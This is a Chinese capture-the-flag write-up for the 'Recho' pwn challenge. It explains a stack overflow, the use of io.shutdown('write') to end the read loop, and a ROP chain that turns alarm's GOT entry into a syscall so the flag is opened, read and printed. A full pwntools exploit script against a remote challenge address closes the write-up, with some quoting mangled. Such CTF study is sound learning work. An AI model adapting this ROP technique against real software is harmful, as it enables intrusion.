0x00:查看文件信息
一个64位二进制文件,canary和PIE保护机制没开。
0x01:用IDA进行静态分析
分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环。函数atoi()是将一个字符串转换成整型数据,看栗子:
这样子v7可以由我们所决定,所以很明显第15行存在栈溢出。
个人想法:
看到程序有一堆输入输出函数,我首先想到的是ret2libc3。在尝试的过程中发现无论如何都跳不出while循环,使用io=send('')不可以。思考无果,上网找WP。在海师傅的文章中,了解到可以用shutdown函数进行操作。而且海师傅是以另外的思路进行泄露的,下面我就借鉴海师傅的思路进行描述。
0x02:深入分析
首先说一下结束循环的方法:
使用io.shutdown('write')进行关闭(为啥是write呢?)
测试一下:
read不可以,send可以???,recv不可以。在测试sendline时,报错看到了重要信息:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以说明只能用这六个参数。然后继续测试,in不可以,out可以)。
这样子的话,这样总结为不要以程序为对象。而是看参数的函数操纵数据的流向。write、send、out可以,说明由内向外是可以的,反则反方向不可以。(很抱歉,由于资料缺乏。难以从本质上了解。目前先这么考虑着)
另外,因为关闭后就不能打开了,除非重新运行程序,所以我们就不能再次ROP到主函数获取输入了。这样很明显就不能用ret2libc3泄露了,虽然你可以第一次泄露出远程libc的版本。但由于机器一般都开有aslr保护机制,这样子libc加载的位置就会在重新执行后发生了改变了。
所以,我们必须要一次性完成所有操作,也就是get_shell或者cat_flag。
可以构造这样的代码来get flag:
1、int fd = open("flag",READONLY) (注:READONLY=0)
2、read(fd,buf,100)
3、printf(buf)
1、int fd = open("flag",READONLY)
这一段的payload: payload = b' A ' *0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt)
这样子,这一部分的payload为: payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
from pwn import * import time context(os =' linux ' , arch=' amd64 ' , log_level=' debug ' ) # io = process("./Recho") io = remote(" 111.200.241.244 " ,59230) elf = ELF(" ./Recho " ) pop_rax = 0x4006FC pop_rdx = 0x4006FE pop_rsi_r15 = 0x4008A1 pop_rdi = 0x4008A3 rdi_add = 0x40070D flag = 0x601058 stdin_buffer = 0x601070 alarm_got = elf.got[' alarm ' ] alarm_plt = elf.plt[' alarm ' ] read_plt = elf.plt[' read ' ] printf_plt = elf.plt[' printf ' ] io.recvuntil( " Welcome to Recho server!n " ) io.sendline( " 400 " ) payload = b' A ' *0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt) payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt) payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt) payload = payload.ljust(400,b' x00 ' ) io.sendline(payload) io.shutdown( ' write ' ) sleep( 1) io.interactive()